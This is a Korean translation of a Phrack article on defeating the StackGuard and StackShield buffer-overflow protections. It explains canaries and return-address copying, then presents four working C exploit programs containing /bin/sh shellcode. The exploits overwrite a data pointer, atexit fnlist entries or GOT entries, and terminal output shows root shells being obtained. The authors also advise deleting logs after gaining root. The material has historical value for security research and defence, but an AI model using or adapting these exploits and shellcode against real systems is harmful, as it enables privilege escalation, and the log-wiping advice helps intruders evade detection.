- P H R A C K M A G A Z I N E -
Volume 0xa Issue 0x38
05.01.2000
0x05[0x10]
|------------------- STACKGUARD 와 STACKSHIELD 회피하기 ----------------------|
|-----------------------------------------------------------------------------|
|--------------------- Bulba 와 Kil3r <lam3rz@hert.org> ---------------------|
번역 : 정원교 <andsoon@igrus.inha.ac.kr>
틀린 부분이나 오역이 있으면 저에게 지적하여 메일 주시면 정말 감사하겠습니다.
----| 머리말
"버퍼가 포인터를 덮어쓸 때... 가슴 슬랜 이야기가 시작된다. -_-"
이 글은 StackGuard 혹은 StackShield로 보호되어지는 시스템 상에서 스택 오버플로
우 취약점을 가진 프로그램을 익스플로잇하는 가능성에 대해서 설명할 예정이다. 이것은
스택이 non-executable 일 때와 같은 적의적 환경에서도 가능하다.
----| StackGuard에 대한 고찰
StackGuard의 만든이에 따르면 이것은 "수행과정의 벌점을 부과함으로써 버퍼오버
플로우를 제거할 수 있는 쉬운 컴파일러 테크닉이다."라고 한다. [1]
우리는 독자가 버퍼 오버플로우를 어떻게 공격하는지 익스플로잇 코드를 쓰는 방법을
알고 있는지 등등을 알고 있다고 가정한다. 만약 당신이 이것을 잘 모르면 P49-14를 보
도록 하라.
알맹이만 말하면 우리는 지역 변수 버퍼의 끝을 넘치게 함으로써 함수의 리턴 어드레스
를 바꿀수가 있다. 함수의 리턴 어드레스를 바구는 부정적인 면은 오버플로우된 버퍼의
끝 넘어에 있는 모든 스택 데이타들을 파괴하거나 수정할 수 있다는 점이다.
StackGuard 하는 일은 무엇인가? 그것은 스택상의 리턴 어드레스 옆에 "canary" 워드를
넣는 것이다. 만약 함수가 리턴되었을 때 canary 가 바뀌었다면 스택 공격이 시도되었다
는 것으로 생각하고 syslog에 로깅을 하고 프로그램을 끝낸다.
다음의 도표를 고려하라.
... ...
|-----------------------------------|
| 호출된 함수의 패러미터 |
|-----------------------------------|
| 함수의 리턴 어드레스 (RET) |
|-----------------------------------|
| canary |
|-----------------------------------|
| 지역 프레임 포인터 (%ebp) |
|-----------------------------------|
| 지역 변수들 |
|-----------------------------------|
...
효율적인 사용을 위해서 공격자가 공격 문자열에 "속이는(spoof)" canary 을 내장하
게 해서는 안된다. StackGuard는 canary 스푸핑을 방지하기 위해서 두가지 기술을
제공한다. "terminator" 와 "random"이다.
terminator canary 는 NULL(0x00), CR (0x0d), LF (0x0a) and EOF (0xff) 을 포함한
다. 위 네 가지 문자들은 대부분의 문자열 작동을 멈추게 한다. 그래서 공격이 시스템에
해롭지 않게 한다.
random canary는 프로그램이 실행되는 시간에 랜덤으로 선택되어진다. 그래서 공격
자는 이전에 실행한 실행 이미지를 통해서 canary값을 배울수가 없다. 랜덤 값은 만약
가능하다면 /dev/urandom으로부터 가져오고, 지원되지 않는다면 그날의 시간을 해킹
하여 만들어진다. 이 랜덤한 방법은 대부분의 예측 공격을 막기 충분하다.
----| StackShield
StackShield 는 다른 방법을 사용한다. 그 아이디어는 함수의 리턴 주소 복사본을 나
누어진 스택에 만드는 것이다. 다시 말해서 보호되는 함수의 맨처음과 맨끝에 몇몇
코드를 더함으로써 이루어진다. 함수의 머리말 코드는 특정 테이블에 리턴 주소를
복사하고 그럼 맺음말을 다시 그것을 스택에 복사한다. 그래서 실행 흐름은 바뀌지
않고 유지된다. -- 함수는 항상 그것의 호출자에서 되돌아 간다. 실제 리턴 주소는
저장된 리턴 주소와 비교되지 않는다. 그래서 버퍼 오버플로우가 일어날 발법이없다.
최근 버전은 또한 .TEXT 세그먼트에 포함되지 않는 주소를 가르키는 함수 포인터 호
출에 대항하여 방어책을 더했다. ("그것은 리턴 값이 변하였을 때 프로그램 실행을 종
료한다.")
그 두시스템은 결코 틀리지 않은 것 처럼 보인다. 하지만 그렇지 않다.
----| "Nelson Mengele 를 석방하라"
"...공격자는 리턴 주소 옆에있는 프로그램 내의 다른 포인터(함수 포인터, longjmp 버
퍼와 같은 혹은 스택상이 아니더라두)를 변화시킴으로써 버퍼 오버플로우를 막는
StackGuard를 경유할 수 있다.
오케이.. 그래서 함수의 포인터 혹은 longjmp를 오버플로우시키는 데는 약간의 행운이
필요할까? 이건 내기다. 우리의 버퍼 뒤에 그런 포인터를 찾는 것을 정확하게 말해서
평범한 것은 아니다. 대부분의 프로그램은 전혀 그것을 갖고 있지 않을 수도 있다.
몇몇 다른 포인터를 찾는 것이 더 좋을 지 모른다. 예를 들자.
[root@sg StackGuard]# cat vul.c
// 취약 프로그램 예제
int f (char ** argv)
{
int pipa; // 필요없는 변수
char *p;
char a[30];
p=a;
printf ("p=%x\t -- before 1st strcpy\n",p);
strcpy(p,argv[1]); // <== 최약한 strcpy()
printf ("p=%x\t -- after 1st strcpy\n",p);
strncpy(p,argv[2],16);
printf("After second strcpy ;)\n");
}
main (int argc, char ** argv) {
f(argv);
execl("back_to_vul","",0); //<== 실패하는 실행
printf("End of program\n");
}
당신도 알다시피 우리의 버퍼를 덮어쓰는 것으로 우리는 단지 리턴 주소를 덮어쓴다.
하지만 우리의 프로그램이 StackGuard로 보호되고 있다면 갈팡지팡할 것이다. 하지만
가장 간단한 분명한 길이 항상 최선의 길은 아니다. p 포인터를 덮어써보는 것은 어떨
까? 두번째(안전한) strncpy 작동은 우리가 가르키는 곳으로 바로 갈것이다. p 포인터
를 스택상의 리턴 주소를 가르키게 하면은 어떨까? 그럼 우리는 canary를 건딜 필요도
없이 함수의 리턴 주소를 바꿀수 있다.
그래서 우리의 공격에 필요한 것은 무엇인가?
1. 우리의 버퍼 a[]뒤에 스택상에 물리적으로 존재하는 p 포인터가 필요하다.
2. 이 p 포인터를 덮어쓰는 것을 허락하는 오버플로우 버그가 필요하다.
(바운스 체크를 하지않는 strcpy와 같은 것들..)
3. 소스를 도착지와 사용자가 가르키는 데이타를 *p로 가져갈 수 있는 하나의
*copy() 함수(strcpy, memcopy, 혹은 다른 것들) 가 필요하다. 물론 오버플로우
와 복사 사이에 p 의 초기화가 없어야 한다.
분명히 위의 제한점은 StackGuard로 컴파일된 모든 프로그램이 취약하다는 것을
말하지 않는다. 하지만 그러한 취약점들은 밖에 노출된다. 예를 들면 mapped_path
버퍼가 프로세스 메모리의 어떤 부분을 수정하는 능력을 가지고 있는 setproctitle()
를 사용하는 Argv 와 LastArg 포인터를 덮어쓰는 wu-ftpd2.5 mapped_path 버그가
있다. 당연히 그것은 data 기반의 오버플로우이다.(스탁 기반이 아니다.) 하지만 다른
한편으로 이것은 우리의 위 취약성은 현실세계에 가득히 있다는 것을 정의내려 준다.
그래서 어떻게 그것을 익스플로잇 시킬까?
우리는 p 포인터를 덮어썼다. 그래서 그것은 스택상의 RET 주소를 가르킬 것이다.
그럼 다음 *copy() 함수는 canary를 건딜지 않고 우리의 RET를 덮어쓸것이다.
:) 좋다.. 우리는 또한 쉘코드를 밀수입하는 것도 필요하다.(우리는 argv[0]을 사용
한다.) 밑은 간단한 익스프로잇이다. (우리는 환경 독립적으로 만들기 위해 execle()
를 사용했다.)
[root@sg StackGuard]# cat ex.c
/* Example exploit no. 1 (c) by Lam3rZ 1999 :) */
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char addr[5]="AAAA\x00";
char buf[36];
int * p;
main() {
memset(buf,'A',32);
p = (int *)(buf+32);
*p=0xbffffeb4; // <<== RET 주소를 가르킨다.
p = (int *)(addr);
*p=0xbfffff9b; // <<== 새로운 RET 값
execle("./vul",shellcode,buf,addr,0,0);
}
StackGuard로 보호되는 RH5.2 상에서 실험하였다.
[root@sg StackGuard]# gcc vul.c -o vul
[root@sg StackGuard]# gcc ex.c
[root@sg StackGuard]# ./a.out
p=bffffec4 -- before 1st strcpy
p=bffffeb4 -- after 1st strcpy
bash#
당신도 알다시피 처음 strcpy는 p 포인터를 덮어썼다. 그럼 strncpy()는 우리의 쉘코
드가 있는 곳의 주소를 RET로 복사한다. 이얏호~
이 기술은 보통 gcc 혹은 StackGuard로 보호되는 gcc에는 작동하지만 StackShield로
컴파일되는 프로그램들은 아직 잘 모른다.
----| 떠먹는 스푼은 없다.
나는 StackGuard 개발자중의 한사람은 Crispin Cowan <crispin@cse.ogi.edu>와
이야기를 했었는데 그는 위의 해킹에 대항할 방법을 제안했다. 밑의 글이 그의 아이
디어이다.
"XOR 랜덤 Canary 방어 시스템 : 이것은 Aaron Grier의 고대 방법을 수용한 것으로
리턴 주소에 xor 랜덤 canary를 채용한 것이다. canary 확인 코드는 함수로 부터
나올때(exit) 사용된다. 적당한 랜덤 canary(exec() 시에 이 함수에 조합되어지는)와
만들어진 XOR의 리턴 주소는 스택상에 기록되어있는 랜섬 canary와 계산되어진다.
만약 공격자가 리턴 주소를 공격했다면 xor의 랜덤 canary는 매치가 되지 않을 것이다.
공격자는 랜덤 canary 값을 알지 못하면 스택상에 못여있는 canary를 계산할 수 없
다. 이것은 이 함수를 위한 랜던 canary와 함께 리턴 주소의 암호화에 영향을 끼칠 것
이다.
우리가 제시하는 도전은 공격자가 임의의 canary 값을 배우는 것으로 부터 그것을 유
지하는 것이다. 이전에 우리는 경고 페이지를 만들어 canary 테이블을 감싸는 것을 제
안했었다. 그래서 버퍼 오버플로우가 canary 값을 추출하는 데 사용돌 하도록 말이다.
하지만 Emsi의 [밑에 설명되어 있다.] 공격이 임의의 주소의 포인터를 종합할 수 있게
되어 포기했다."
가장 간단한 솔루션은)"공격자로부터 막기 위한 mprotect() canary 테이블을 사용하
는 것이다."
우리는 Crispin에게 이에 관한 글을 쓰고 있다고 전했다. 그의 반응은 이렇다.
"나는 월요일쯤에 (XOR 랜덤 canary를 포함하는) StackGuard 컴파일러를 발표할
수 있을 것으로 생각한다."
그리고 그 컴파일러는 발표되었다. [3]
StackShield 는 안전한 장소(임의의 위치와 크기 -- 비록 수행 능력은 늦어질지 몰
라도)에 RET 복사본을 저장함으로써 (대부분의) 같은 보안 레벨 수준을 제공한다.
그리고 함수가 리턴하기 전에 그것의 무결성을 체크한다.
우리는 그것을 경유할 수 있다.
만약 마음대로 다룰수 있는 포인터를 우리가 가지고 있다면 우리는 그것을 프로그램
안에 존재하는 취약한 오버플로우를 익스플로잇 할 수 있게 도와주는 요소로 사용할
수 있다. 예를 들면 atexit(3) 혹은 on_exit(3)을 통해 등록되어진 함수들을 가지고
있는 fnlist 구조체가 그것이다. 물론 이 코드의 가지에 도달하기 위해서는 프로그램은
exit()를 호출하는 것이 필요하다. 하지만 대부분의 프로그램들은 실행의 끝이나 에러
가 일어났을 때 발생한다. (대부분의 경우 우리는 에러를 일으키게 할 수 있다.)
fnlist 구조를 살펴보자.
[root@sg StackGuard]# gdb vul
GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
[...]
This GDB was configured as "i386-redhat-linux"...
(gdb) b main
Breakpoint 1 at 0x8048790
(gdb) r
Starting program: /root/StackGuard/c/StackGuard/vul
Breakpoint 1, 0x8048790 in main ()
(gdb) x/10x &fnlist
0x400eed78 <fnlist>: 0x00000000 0x00000002 0x00000003 0x4000b8c0
0x400eed88 <fnlist+16>: 0x00000000 0x00000003 0x08048c20 0x00000000
0x400eed98 <fnlist+32>: 0x00000000 0x00000000
우리는 그것이 두 함수를 호출한다는 것을 볼수 있다. _fini [0x8048c20] 과 _dl_fini
[0x4000b8c0] 이다. 그 두가지는 어떠한 인자를 가지고 있다.(fnlist에 대해 이해하기
위해서는 glibc 소스를 체크하라.) 우리는 두 함수를 덮어쓸 수 있다. fnlist 주소는 libc
라이브러리에 독립적이다. 그래서 그것은 특정 머신상에서 모든 프로세스에 대해 같을
것이다.
다음의 코드는 exit()를 통해 프로그램을 종료할 때 취약한 오버플로우를 익스플로잇
한다.
[root@sg StackGuard]# cat 3ex.c
/* Example exploit no. 2 (c) by Lam3rZ 1999 :) */
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char addr[5]="AAAA\x00";
char buf[36];
int * p;
main() {
memset(buf,'A',32);
p = (int *)(buf+32);
*p=0x400eed90; // <<== 우리가 수정할 fnlist 내의 엔트리 주소
p = (int *)(addr);
*p=0xbfffff9b; // <<== 쉘코드를 호출할 새로운 함수의 주소 :)
execle("./vul",shellcode,buf,addr,0,0);
}
당신도 알다시피 우리의 익스플로잇은 단지 한 줄만 변했다. :)
취약한 프로그램에 대해 테스트를 하자.
[root@sg StackGuard]# gcc 3ex.c
[root@sg StackGuard]# ./a.out
p=bffffec4 -- before 1st strcpy
p=400eed90 -- after 1st strcpy
After second strcpy ;)
End of program
bash#
당신도 알다시피 우리의 프로그램은 정상적인 종료후에 쉘을 우리에게 주었다. 이러한
것은 StackGuard 와 StackShield 도 이러한 공격에 대해 방어하지 못한다.
하지만 우리의 프로그램이 exit()를 호출하지 않고 대신에 _exit()를 사용하면 어떨까?
우리가 canary를 덮어썼을 때 어떤 일이 일어나는지 보자. StackGuard로 보호되는 프로그램
은 __canary_death_handler() (이 함수는 공격시도를 로그에 남기는 것과 프로세스를 종료
하는 책임을 가지고 있다.)를 호출할 것이다. 그것을 보자.
void __canary_death_handler (int index, int value, char pname[]) {
printf (message, index, value, pname) ;
syslog (1, message, index, value, pname) ;
raise (4) ;
exit (666) ;
}
당신도 보다시피 우리는 가장 끝에 exit() 함수 호출을 가지고 있다. 당연히 이러한
방식의 익스플로잇 프로그램은 로그를 생성시킬 것이다. 하지만 만약 다른 방법이 없
다면 그것은 필요한 것이다. 게다가 만약 당신이 r00t를 얻으면, 나중에 지우면 된다.
우리는 Perry Wagle <wagle@cse.ogi.edu> (다른 StackGuard 개발자)로 부터 몇몇
편지를 받았다. " 나는 exit() 대신에 _exit()를 호출하도록 고쳤다." 현재 StackGuard는
_exit()를 호출한다.
물론 위의 해킹 방법은 StackShield에 적용되지 않는다. StackShield 보호는 보호되지 않
는 저장된 %ebp 를 덮어씀으로써 경유될 수 있다. 그것(가장 나쁜 환경)을 익스플로잇 시
키는 한 방법은 프랙 55에 klog가 쓴 "The Frame Pointer Overwrite"에 기술되어 있다.
StackShield 프로그램이 '-z d'옵션으로 컴파일된다면 그것은 _exit()를 호출한다. 하지만
이것은 우리에게 문제가 아니다.
----| 한반도를 발견하기 (역자 : 원래는 미국(America)인데... 제가 그냥 고쳤음)
만약 시스템이 StackGuard 와 StackPatch (스택을 실행할 수 없게 만드는 Solar
Designer의 수정판)로 보호되어진다면 어떻게 해야 할까? 이것이 가장 나쁜 시나리오
일까? 그렇지는 않다.
우리는 위에서 사용한 적이 없는 대단한 기술을 개발했었다.
독자들은 Rafal Wojtczul의 훌륭한 문서 " Defeating Solar Designer's Non-executable
Stack Patch" [5]를 떠올릴 것이다. 그의 대단한 아이디어는 Global Offset Table(GOT)를
패치하는 것이다. 우리의 취약점으로 우리는 임의의 포인터를 생산할 수 있다. 그럼 GOT를
가르켜 보는 것은 어떨까?
머리를 사용하자. 취약한 프로그램을 보기로 하자.
printf ("p=%x\t -- before 1st strcpy\n",p);
strcpy(p,argv[1]);
printf ("p=%x\t -- after 1st strcpy\n",p);
strncpy(p,argv[2],16);
printf("After second strcpy :)\n");
좋아. 프로그램은 우리의 포인터에 우리의 질의[argv[2]를 쓴다. 그럼 그것은 라이브러리
코드 printf()를 실행한다. OK, 그래서 우리가 해야할 일은 libc system() 주소로 printf()의
GOT를 덮어 쓰는 것이다. 그럼 그것은 system("After second strcpy :)\n");을 실행할
것이다. 실제로 테스트 해보자. 이것을 하기 위해서는 우리는 printf()의 Procedure Linkage
Table(PLT)를 역어셈블해야 한다.
[root@sg]# gdb vul
GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
[...]
This GDB was configured as "i386-redhat-linux"...
(gdb) x/2i printf
0x804856c <printf>: jmp *0x8049f18 <- printf()'의 GOT 엔트리
0x8048572 <printf+6>: pushl $0x8
(gdb)
OK. 그래서 printf()의 GOT 엔트리 값은 0x8049f18이다. 우리에게 할 일은 이 위치(
0x8049f18)에 libc system() 주소를 놓는 것이 전부이다. Rafal의 글에 따르면 우리는
우리의 system() 주소를 계산할 수 있다. 그 글에서는 0x40044000+0x2e740로 나와 있다.
0x2e740은 libc 라이브러리 내에 __libc_system()의 오프셋이다.
[root@sg]# nm /lib/libc.so.6| grep system
0002e740 T __libc_system
0009bca0 T svcerr_systemerr
0002e740 W system
[ 공지 : 독자는 우리가 Solar의 패치가 적용되지 않은 커널을 사용하고 있다고 눈치
채고 있을 것이다. 우리는 부팅후 init(8) halt의 문제를 가지고 있다. 그래서 이글을
phrack 측에 넘겨야 할 시간도 거의 다 되어가고 해서 커널 패치가 적용되지 않은
것으로 하기로 결정했다. 그래서 변화된 부분이 0x40 부분이다. Solar의 패치가
적용된 시스템상에서는 libc는 0x00XXYYZZ이다. 그래서 예로든 위 주소가
0x00044000+0x2e740인 것이다. 0x00으로 시작하는 것은 우리의 문자열이 종료되
었음을 의미한다. StackPatch가 StackGuard와 잘붙는지는 우리는 100% 장담을
하지 못한다. 그것은 붙여야만 만다. ㅠ.ㅠ 만약 그렇지 않더라두 어떻케든 붙일수
있을 것이다. ㅠ.ㅠ 우리는 아직 확실하지 않다. 만약 어떤 아는 것이 있다면 우리에
게 말해달라. ]
OK, 다음의 익스플로잇을 테스트해보자.
[root@sg]# cat 3ex3.c
/* Example exploit no. 3 (c) by Lam3rZ 1999 :) */
char *env[3]={"PATH=.",0};
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char addr[5]="AAAA\x00";
char buf[46];
int * p;
main() {
memset(buf,'A',36);
p = (int *)(buf+32);
*p++=0x8049f18;// <== printf() GOT 엔트리 주소
p = (int *)(addr);
*p=0x40044000+0x2e740;// <<== libc system()의 주소
printf("Exec code from %x\n",*p);
execle("./vul",shellcode,buf,addr,0,env);
}
테스트 해보자!!!!
[root@sg]# gcc 3ex3.c
[root@sg]# ./a.out
Exec code from 40072740
p=bffffec4 -- before 1st strcpy
p=8049f18 -- after 1st strcpy
sh: syntax error near unexpected token `:)'
sh: -c: line 1: `After second strcpy :)'
Segmentation fault (core dumped)
흠... 작동하지 않았다.
불행하게도 실행되었을 때 printf() 문자열이 특정한 쉘 문자들을 포함하고 있다.
대부분의 경우 만약 우리가 system() 실행하기 위해서 printf()를 익스플로잇
했다면 그것은 "Here we blah, blah and blah"와 같은 것을 실행 할 것이다. 그
해서 우리가 우리의 디렉토리에 "Here" 쉘 스크립트만 만들면 되었다. (그렇다,
우리는 우리의 suid 프로그램을 PATH 변수에 세팅할 필요가 없다.)
그래서 우리의 예상하지 못한 ':)' 을 위해 해야 할 일은 무엇인가?
이것은 마지막 인자로써 평범한 텍스트를 가져오는데 의존한다. 때때로 당신은 printf()
에 대한 것을 잊고 우리의 익스프로잇 뒤에 실행되는 함수를 찾아야 할 때도 있다. 하지만
때때로 우리는 행운을 얻을 수도 있다. 우리의 a[] 버퍼는 마지막 지역 변수임을 상상하라
그래서 우리의 취약한 함수로 호출되는 함수들 지나 있는 인자들은 스택상에 옆에 있을 것
이다. canary를 push하는 것을 지나치도록 __libc_system()에 설득해 보는 것은 어떨까?
우리는 __libc_system() 대신에 __libc_system()으로 점프함으로써 이것을 이룰 수 있을
것이다. 그럼. 다음 자리로 +인자 만큼 시프트하기 될것이다. (간단히 말하면 arg1 -> arg2
가 됨) 그리고 스택상의 마지막 지역 변수의 처음 4바이트는 처음 인자로 다루어질 것이다.
printf() 호출은 단지 하나의 인자를 남용하기 위해서다. 그래서 system() 함수가 얻을 인자는
단지 a[] 의 처음 4바이트에 포함된 포인터을 것이다. 그럼 그것을 '/bin/sh'을 가르키게 하
거나 다른 비슷한 것을 가르키게 하면 된다.
StackGuard, StackShield 그리고 StackPatch를 작동하는 곳에서는 GOT를 덮어써라.
그것은 우리가 모든 질의를 다룰 수 없고 어떤 부분만 복사할 수 있는 능력만 있을 경우에
사용되어 질수 있다. ( wu-ftpd에서 처럼)
----| "반지르르한 길" (역자 주 : 점점 가속도가 붙어 가는 길을 말함)
독자들은 아마 우리가 단지 고지직한 예들만 다루었고, 그것이 실제 상황에서는 찾기 어
려울 것이다라고 생각할 것이다. 문자열의 모든 것을 인자로 받는 취약한 함수는 다소
이상하다. 좀 더 현실성 있는 함수를 아마 당신은 밑에서 찾을 것이다.
int f (char *string) {
[...]
char *p;
char a[64];
[...]
이것을 체크하자:
char dst_buffer[64]; /* 마지막 도착점 */
int f (char * string)
{
char *p;
char a[64];
p=dst_buffer; /* 포인터 초기화 */
printf ("p=%x\t -- before 1st strcpy\n",p);
strcpy(a, string); /* 문자열 */
/* 해석하기, 복사하기, 연결하기.. 문자열 흑마술~~(-_-;)(black-string-magic) */
/* 예스!, 우리의 데이터를 오염시킬 것이다.
printf ("p=%x\t -- after 1st strcpy\n",p);
strncpy(p, a, 64); /* 문자열 잘라내기 */
printf("After second strcpy ;)\n");
}
int main (int argc, char ** argv) {
f(argv[0]); /* 서문 */
printf("End of program\n");
}
당신은 하나의 문자열만 통과시킴으로써 취약한 함수와 상호 대화한다.
하지만 우리가 비-실행 스택의 시스템을 다루게 될땐 어떻게 해야할까? 그리고 라
이브러리가 다소 이상한 주소(안에 NULL이 들어가있는)로 매핑되어 있으면 어떻
게 할가? 스택이 비-실행으로 되어 있기 때문에 우리는 스택상의 우리의 주소를
GOT로 패치시킬 수 없다.
마치 뒤틀린 것 처럼 보인다. 하지만 잘 읽어봐라!! 우리의 시스템은 x86에 기반하고 있
으며 특정 메모리 페이지를 실행하게 하는 능력에 관한 잘못된 개념들도 많이 있다.
/proc/*/maps를 체크하자.
00110000-00116000 r-xp 00000000 03:02 57154
00116000-00117000 rw-p 00005000 03:02 57154
00117000-00118000 rw-p 00000000 00:00 0
0011b000-001a5000 r-xp 00000000 03:02 57139
001a5000-001aa000 rw-p 00089000 03:02 57139
001aa000-001dd000 rw-p 00000000 00:00 0
08048000-0804a000 r-xp 00000000 16:04 158
0804a000-0804b000 rw-p 00001000 16:04 158 <-- GOT 부분은 이곳이다.
bfffd000-c0000000 rwxp ffffe000 00:00 0
GOT가 비-실행으로 보인다. 하지만 놀랍게 아니다!!!!! 오래된 인텔 CPU는 당신 바라는
곳의 GOT를 실행함을 허락한다. 그래서 우리가 해야 할 것은 그곳에 쉘코드를 올려 놓구
GOT 엔트리를 그곳을 가르키게 하구 나서 의자뒤로 누워 가겹게 그것을 즐기는 것이
전부이다.
그것을 쉽게 하기 위해서, 여기 조금의 힌트가 있다.
우리가 제공하는 익스플로잇 코드에서 두 줄만 바꿔주면 된다.
*p=0x8049f84; // 우리의 strncpy 작동의 도착점
[...]
*p=0x8049f84+4; // 우리의 쉘코드의 주소
우리가 해야 할 일은 우리가 원하는 곳에 정확히 쉘코드를 복사할 수 있는 복사 과정이
다. 우리의 쉘코드는 최적화되어 있지 않다. 그래서 그것은 40바이트 보다 더 크다.
하지만 당신이 좀더 영리하다면 충분히 당신은 jmp, call, popl등을 제거해서 작게 쉘코
드를 만들 수 있기 때문이다. (jmp, call, popl를 제거하는 것은 이미 당신의 주소를
알고 있기 때문에 제거할 수 있다.)
우리가 고려해야 할 다른 것은 시그널들이다. 함수의 시그널 핸들러는 잘못된(fuck up)
GOT로 함수를 호출할려고 할것이다. 그럼 프로그램은 뻗어버를 것이다. 하지만 그것은
단지 이론적인 위험성이다.
이제 무엇을 해야 할까?
우리의 취약한 프로그램이 맘에 들지 않나?
그것이 당신에게 다소 비현실적으로 보이지 않나?
그럼 우리는 당신이 바라는 것을 만족시켜 주지:
char global_buf[64];
int f (char *string, char *dst)
{
char a[64];
printf ("dst=%x\t -- before 1st strcpy\n",dst);
printf ("string=%x\t -- before 1st strcpy\n",string);
strcpy(a,string);
printf ("dst=%x\t -- after 1st strcpy\n",dst);
printf ("string=%x\t -- after 1st strcpy\n",string);
// 공급된 문자열에 의해 몇몇 흑마술이 행해졌다.
strncpy(dst,a,64);
printf("dst=%x\t -- after second strcpy :)\n",dst);
}
main (int argc, char ** argv) {
f(argv[1],global_buf);
execl("back_to_vul","",0); //<-- 실패하는 실행구문.
// 이것을 넣은 어떤 이유도 없다. 기냥~
// :)
printf("End of program\n");
}
이 예제에서 우리는 canary 와 RET 값 뒤 스택상에 존재하는 우리의 포인터(dst)를 가
지고 있다. 그래서 우리는 canary를 죽이는 거 없이 RET를 변화시킬 수 없다. 잡을 것
도 없이....
혹은 우리가 할 수 있을까?
StackGuard 와 StackShield 는 그것의 호출자로 리턴하기 전에 RET가 바뀌었는지
체크한다. (이것은 함수의 맨 뒤에 행해진다.) 대부분의 경우에서 우리는 취약한 프로그램
을 콘트롤 할수 있는 충분한 시간을 가지고 있다.
우리는 다음으로 호출된 라이브러리 함수의 GOT 엔트리를 덮어씀으로써 그것을 할 수 있
다.
우리는 canary가 살아있는지 혹은 죽었는지 상관할 필요없고, 리컬 변수들의 순서에
관해 걱정할 필요가 없다. 단지 즐기면 되는 것이다.
이것이 익스플로잇이다:
/* Example exploit no. 4 (c) by Lam3rZ 1999 :) */
char shellcode[] = // 48 chars :)
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char buf[100];
int * p;
main() {
memset(buf,'A',100);
memcpy(buf+4,shellcode,48);
p = (int *)(buf+80); // <=- 두번째 f() 인자의 오프셋 [dest one]
*p=0x8049f84;// <<== printf의 GOT 엔트리
p = (int *)(buf);
*p=0x8049f84+4;// <<== printf의 GOT 엔트리 + 4, 우리의 쉘코드가 있다. :)
execle("./vul2","vul2",buf,0,0);
}
결과는 이렇다.
[root@sg]# ./a.out
p=804a050 -- before 1st strcpy
argv1p=bfffff91 -- before 1st strcpy
p=8049f84 -- after 1st strcpy
argv1=41414141 -- after 1st strcpy
bash#
----| 결론
1) StackGuard/StackShield 는 우연한 버퍼 오버플로우의 경우에 당신을 구해 주겠지만
프로그래머의 어리석음에 대해서는 아닐 것이다. Erreare humanum est, [역자 : 뭔말인
지 모르겠네요.. 스페인 말 같기두 하구... 끙... ㅠ.ㅠ] 옳은 소리이다. 하지만 보안 프로그래
머들은 단순히 인간이면 안된다. 그들은 보안을-아는-인간이여야 한다.
2) - 당신의 코드를 감사함으로써 - 당신은 조금의 시간을 보내게 될것이다. 하지만 당신은
당신이 짜는 프로그램의 보안을 높일 수 가 있을 것이다.
- StackGuard/StackShield/다른 무엇을 사용함으로써 - 당신은 당신의 시스템 수행능력
을 떨어뜨릴 것이지만 결과적으로 보안 레벨을 높일 것이다.
- 당신의 프로그램을 보호하지는 어떤 일도 하지 않을 때 - 어떤 사람은 당신의 코드를 오버플
로우 시켜 익스플로잇 함으로써 당신을 위험하게 할 것이다. 만약 그것이 일어났을 때 당신
은 끝장날 것이다. -_- [역자 : 무섭당...]
그래서 완벽하게 방어라고 보호하라 그렇지 않음 다른 사람들이 당신을 하찮게 볼것이다.
우리는 어떤 훌륭한 멘트나 증진을 위한 충고를 환영하고 있다. 당신은 Lam3rz 메일링 리스트
<lam3rz@hert.org>로 우리와 연락할 수 있다.
네, 네... 우리는 알고 있다!!! 아직 실제로 작동하는 익스플로잇이 없다는 것을 :( 우리는 그것을
위해 일하고 있다. 언제나 이 홈페이지를 체크해 보라.
http://emsi.it.pl/
와
http://lam3rz.hack.pl/
----| 추가 : 2000년 1월 5일
우리는 Solar Designer의 비-실행(non-executable) 스택 패치를 한 StackGuard 문제를
해결했다. 우리는 무엇이 문제인지는 모르겠지만 그것을 피하기 위해서는 커널 설정시
'Autodetect GCC trampolines' 와 'Emulate trampoline calls'를 가능하게 하라. 우리는
StackGuard 와 트램폴린(trampoline 역자 주 : 사전을 보니 "쇠틀 안에 스프링을 단 즈크의
탄성을 이용하여 도약하는 운동기구"라고 되어 있네요.. 뭔지 대충 기억이 나는데 이름이 어떻게
됐는지는 기억이 가물가물....)이 없는 하지만 비-실행 사용자 스택을 가지고 있는 슬랙웨어 리
눅스를 사용하고 있다. 하지만 StackGuard를 사용하는 RH 리눅스는 그러한 설정에서의 작
업을 거부한다. :)
----| 고마운 분들
A18 team, HERT, CocaCola, Raveheart ("Nelson Mengele..."위한 노래 만든 분들).
Nergal, mo풽 by?si?tak ujawni? ;)
Po raz kolejny chcialbym zaznaczyc, ze jestem tylko zwyczajnym Lam3rem.
- Kil3r
people I've been drinking with - because i've been drinking with you :)
people I'd like to drink with - because i will drink with you :)
people smarter than me - because you're better than I am
°假儺?길怨憎?/4 - for being wonderful iso-8859-2 characters
Lam3rz - alt.pe0p1e.with.sp311ing.pr0b1emZ :)
koralik - ... just because
- Bulba
----| References
[1] Crispin Cowan, Calton Pu, Dave Maier, Heather Hinton, Jonathan Walpole,
Peat Bakke, Steave Beattie, Aaron Grier, Perry Wagle and Qian Zhand.
StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow
Attacks http://www.immunix.org/documentation.html
